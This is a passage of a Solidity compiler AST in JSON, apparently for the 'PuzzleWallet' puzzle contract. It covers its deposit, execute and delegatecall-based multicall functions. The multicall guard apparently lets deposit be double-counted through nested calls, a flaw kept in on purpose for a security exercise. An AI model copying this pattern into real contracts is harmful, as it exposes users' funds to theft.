entifier":"t_uint256","typeString":"uint256"},"id":54470,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":54466,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1857:4:101","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}],"id":54465,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1849:7:101","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54464,"name":"address","nodeType":"ElementaryTypeName","src":"1849:7:101","typeDescriptions":{}}},"id":54467,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1849:13:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54468,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1863:7:101","memberName":"balance","nodeType":"MemberAccess","src":"1849:21:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"id":54469,"name":"maxBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54373,"src":"1874:10:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1849:35:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4d61782062616c616e63652072656163686564","id":54471,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1886:21:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_7f0d7e8f50971fe9679272da40a4a188efbfa36b61a6a0c225123b7520f52681","typeString":"literal_string \"Max balance reached\""},"value":"Max balance reached"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7f0d7e8f50971fe9679272da40a4a188efbfa36b61a6a0c225123b7520f52681","typeString":"literal_string \"Max balance reached\""}],"id":54463,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1841:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54472,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1841:67:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54473,"nodeType":"ExpressionStatement","src":"1841:67:101"},{"expression":{"id":54480,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54474,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54381,"src":"1918:8:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54477,"indexExpression":{"expression":{"id":54475,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1927:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54476,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1931:6:101","memberName":"sender","nodeType":"MemberAccess","src":"1927:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1918:20:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"expression":{"id":54478,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1942:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54479,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1946:5:101","memberName":"value","nodeType":"MemberAccess","src":"1942:9:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1918:33:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54481,"nodeType":"ExpressionStatement","src":"1918:33:101"}]},"functionSelector":"d0e30db0","implemented":true,"kind":"function","modifiers":[{"id":54461,"kind":"modifierInvocation","modifierName":{"id":54460,"name":"onlyWhitelisted","nameLocations":["1815:15:101"],"nodeType":"IdentifierPath","referencedDeclaration":54415,"src":"1815:15:101"},"nodeType":"ModifierInvocation","src":"1815:15:101"}],"name":"deposit","nameLocation":"1788:7:101","parameters":{"id":54459,"nodeType":"ParameterList","parameters":[],"src":"1795:2:101"},"returnParameters":{"id":54462,"nodeType":"ParameterList","parameters":[],"src":"1831:0:101"},"scope":54597,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":54526,"nodeType":"FunctionDefinition","src":"1964:317:101","nodes":[],"body":{"id":54525,"nodeType":"Block","src":"2062:219:101","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54500,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"baseExpression":{"id":54495,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54381,"src":"2080:8:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54498,"indexExpression":{"expression":{"id":54496,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2089:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54497,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2093:6:101","memberName":"sender","nodeType":"MemberAccess","src":"2089:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2080:20:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":54499,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54487,"src":"2104:5:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2080:29:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"496e73756666696369656e742062616c616e6365","id":54501,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2111:22:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_47533c3652efd02135ecc34b3fac8efc7b14bf0618b9392fd6e044a3d8a6eef5","typeString":"literal_string \"Insufficient balance\""},"value":"Insufficient balance"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_47533c3652efd02135ecc34b3fac8efc7b14bf0618b9392fd6e044a3d8a6eef5","typeString":"literal_string \"Insufficient balance\""}],"id":54494,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2072:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54502,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2072:62:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54503,"nodeType":"ExpressionStatement","src":"2072:62:101"},{"expression":{"id":54509,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":54504,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54381,"src":"2144:8:101","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":54507,"indexExpression":{"expression":{"id":54505,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"2153:3:101","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54506,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2157:6:101","memberName":"sender","nodeType":"MemberAccess","src":"2153:10:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"2144:20:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"id":54508,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54487,"src":"2168:5:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2144:29:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54510,"nodeType":"ExpressionStatement","src":"2144:29:101"},{"assignments":[54512,null],"declarations":[{"constant":false,"id":54512,"mutability":"mutable","name":"success","nameLocation":"2189:7:101","nodeType":"VariableDeclaration","scope":54525,"src":"2184:12:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54511,"name":"bool","nodeType":"ElementaryTypeName","src":"2184:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":54519,"initialValue":{"arguments":[{"id":54517,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54489,"src":"2223:4:101","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"id":54513,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54485,"src":"2201:2:101","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54514,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2204:4:101","memberName":"call","nodeType":"MemberAccess","src":"2201:7:101","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":54516,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"id":54515,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54487,"src":"2216:5:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"2201:21:101","typeDescriptions":{"typeIdentifier":"t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value","typeString":"function (bytes memory) payable returns (bool,bytes memory)"}},"id":54518,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2201:27:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"2183:45:101"},{"expression":{"arguments":[{"id":54521,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54512,"src":"2246:7:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"457865637574696f6e206661696c6564","id":54522,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2255:18:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_36fdcc45171afde7667666c94fc33ecdb7822c92e5282dda8124205e12e0ac03","typeString":"literal_string \"Execution failed\""},"value":"Execution failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_36fdcc45171afde7667666c94fc33ecdb7822c92e5282dda8124205e12e0ac03","typeString":"literal_string \"Execution failed\""}],"id":54520,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2238:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54523,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2238:36:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54524,"nodeType":"ExpressionStatement","src":"2238:36:101"}]},"functionSelector":"b61d27f6","implemented":true,"kind":"function","modifiers":[{"id":54492,"kind":"modifierInvocation","modifierName":{"id":54491,"name":"onlyWhitelisted","nameLocations":["2046:15:101"],"nodeType":"IdentifierPath","referencedDeclaration":54415,"src":"2046:15:101"},"nodeType":"ModifierInvocation","src":"2046:15:101"}],"name":"execute","nameLocation":"1973:7:101","parameters":{"id":54490,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54485,"mutability":"mutable","name":"to","nameLocation":"1989:2:101","nodeType":"VariableDeclaration","scope":54526,"src":"1981:10:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":54484,"name":"address","nodeType":"ElementaryTypeName","src":"1981:7:101","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":54487,"mutability":"mutable","name":"value","nameLocation":"2001:5:101","nodeType":"VariableDeclaration","scope":54526,"src":"1993:13:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54486,"name":"uint256","nodeType":"ElementaryTypeName","src":"1993:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":54489,"mutability":"mutable","name":"data","nameLocation":"2023:4:101","nodeType":"VariableDeclaration","scope":54526,"src":"2008:19:101","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":54488,"name":"bytes","nodeType":"ElementaryTypeName","src":"2008:5:101","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"1980:48:101"},"returnParameters":{"id":54493,"nodeType":"ParameterList","parameters":[],"src":"2062:0:101"},"scope":54597,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":54596,"nodeType":"FunctionDefinition","src":"2287:700:101","nodes":[],"body":{"id":54595,"nodeType":"Block","src":"2362:625:101","nodes":[],"statements":[{"assignments":[54535],"declarations":[{"constant":false,"id":54535,"mutability":"mutable","name":"depositCalled","nameLocation":"2377:13:101","nodeType":"VariableDeclaration","scope":54595,"src":"2372:18:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54534,"name":"bool","nodeType":"ElementaryTypeName","src":"2372:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":54537,"initialValue":{"hexValue":"66616c7365","id":54536,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2393:5:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"nodeType":"VariableDeclarationStatement","src":"2372:26:101"},{"body":{"id":54593,"nodeType":"Block","src":"2450:531:101","statements":[{"assignments":[54550],"declarations":[{"constant":false,"id":54550,"mutability":"mutable","name":"_data","nameLocation":"2477:5:101","nodeType":"VariableDeclaration","scope":54593,"src":"2464:18:101","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":54549,"name":"bytes","nodeType":"ElementaryTypeName","src":"2464:5:101","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":54554,"initialValue":{"baseExpression":{"id":54551,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54529,"src":"2485:4:101","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes calldata[] calldata"}},"id":54553,"indexExpression":{"id":54552,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54539,"src":"2490:1:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2485:7:101","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}},"nodeType":"VariableDeclarationStatement","src":"2464:28:101"},{"assignments":[54556],"declarations":[{"constant":false,"id":54556,"mutability":"mutable","name":"selector","nameLocation":"2513:8:101","nodeType":"VariableDeclaration","scope":54593,"src":"2506:15:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":54555,"name":"bytes4","nodeType":"ElementaryTypeName","src":"2506:6:101","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"id":54557,"nodeType":"VariableDeclarationStatement","src":"2506:15:101"},{"AST":{"nativeSrc":"2544:65:101","nodeType":"YulBlock","src":"2544:65:101","statements":[{"nativeSrc":"2562:33:101","nodeType":"YulAssignment","src":"2562:33:101","value":{"arguments":[{"arguments":[{"name":"_data","nativeSrc":"2584:5:101","nodeType":"YulIdentifier","src":"2584:5:101"},{"kind":"number","nativeSrc":"2591:2:101","nodeType":"YulLiteral","src":"2591:2:101","type":"","value":"32"}],"functionName":{"name":"add","nativeSrc":"2580:3:101","nodeType":"YulIdentifier","src":"2580:3:101"},"nativeSrc":"2580:14:101","nodeType":"YulFunctionCall","src":"2580:14:101"}],"functionName":{"name":"mload","nativeSrc":"2574:5:101","nodeType":"YulIdentifier","src":"2574:5:101"},"nativeSrc":"2574:21:101","nodeType":"YulFunctionCall","src":"2574:21:101"},"variableNames":[{"name":"selector","nativeSrc":"2562:8:101","nodeType":"YulIdentifier","src":"2562:8:101"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":54550,"isOffset":false,"isSlot":false,"src":"2584:5:101","valueSize":1},{"declaration":54556,"isOffset":false,"isSlot":false,"src":"2562:8:101","valueSize":1}],"id":54558,"nodeType":"InlineAssembly","src":"2535:74:101"},{"condition":{"commonType":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"id":54563,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":54559,"name":"selector","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54556,"src":"2626:8:101","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"expression":{"id":54560,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2638:4:101","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"id":54561,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2643:7:101","memberName":"deposit","nodeType":"MemberAccess","referencedDeclaration":54483,"src":"2638:12:101","typeDescriptions":{"typeIdentifier":"t_function_external_payable$__$returns$__$","typeString":"function () payable external"}},"id":54562,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2651:8:101","memberName":"selector","nodeType":"MemberAccess","src":"2638:21:101","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"2626:33:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":54575,"nodeType":"IfStatement","src":"2622:221:101","trueBody":{"id":54574,"nodeType":"Block","src":"2661:182:101","statements":[{"expression":{"arguments":[{"id":54566,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2687:14:101","subExpression":{"id":54565,"name":"depositCalled","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54535,"src":"2688:13:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4465706f7369742063616e206f6e6c792062652063616c6c6564206f6e6365","id":54567,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2703:33:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_e95d4c18a599528ae94f6c18d85500ab2e0587646cc2683d99d40dc0d6200705","typeString":"literal_string \"Deposit can only be called once\""},"value":"Deposit can only be called once"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e95d4c18a599528ae94f6c18d85500ab2e0587646cc2683d99d40dc0d6200705","typeString":"literal_string \"Deposit can only be called once\""}],"id":54564,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2679:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54568,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2679:58:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54569,"nodeType":"ExpressionStatement","src":"2679:58:101"},{"expression":{"id":54572,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54570,"name":"depositCalled","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54535,"src":"2808:13:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"74727565","id":54571,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2824:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"2808:20:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":54573,"nodeType":"ExpressionStatement","src":"2808:20:101"}]}},{"assignments":[54577,null],"declarations":[{"constant":false,"id":54577,"mutability":"mutable","name":"success","nameLocation":"2862:7:101","nodeType":"VariableDeclaration","scope":54593,"src":"2857:12:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":54576,"name":"bool","nodeType":"ElementaryTypeName","src":"2857:4:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":54587,"initialValue":{"arguments":[{"baseExpression":{"id":54583,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54529,"src":"2901:4:101","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes calldata[] calldata"}},"id":54585,"indexExpression":{"id":54584,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54539,"src":"2906:1:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"2901:7:101","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes calldata"}],"expression":{"arguments":[{"id":54580,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2882:4:101","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}],"id":54579,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2874:7:101","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54578,"name":"address","nodeType":"ElementaryTypeName","src":"2874:7:101","typeDescriptions":{}}},"id":54581,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2874:13:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54582,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2888:12:101","memberName":"delegatecall","nodeType":"MemberAccess","src":"2874:26:101","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":54586,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2874:35:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"2856:53:101"},{"expression":{"arguments":[{"id":54589,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54577,"src":"2931:7:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4572726f72207768696c652064656c65676174696e672063616c6c","id":54590,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2940:29:101","typeDescriptions":{"typeIdentifier":"t_stringliteral_debd77ba0a23243a00179ebf311e9d89d9d52e3496db48f79f5defbd7e8b042d","typeString":"literal_string \"Error while delegating call\""},"value":"Error while delegating call"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_debd77ba0a23243a00179ebf311e9d89d9d52e3496db48f79f5defbd7e8b042d","typeString":"literal_string \"Error while delegating call\""}],"id":54588,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2923:7:101","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54591,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2923:47:101","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54592,"nodeType":"ExpressionStatement","src":"2923:47:101"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54545,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":54542,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54539,"src":"2428:1:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":54543,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54529,"src":"2432:4:101","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes calldata[] calldata"}},"id":54544,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2437:6:101","memberName":"length","nodeType":"MemberAccess","src":"2432:11:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2428:15:101","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":54594,"initializationExpression":{"assignments":[54539],"declarations":[{"constant":false,"id":54539,"mutability":"mutable","name":"i","nameLocation":"2421:1:101","nodeType":"VariableDeclaration","scope":54594,"src":"2413:9:101","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54538,"name":"uint256","nodeType":"ElementaryTypeName","src":"2413:7:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":54541,"initialValue":{"hexValue":"30","id":54540,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2425:1:101","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 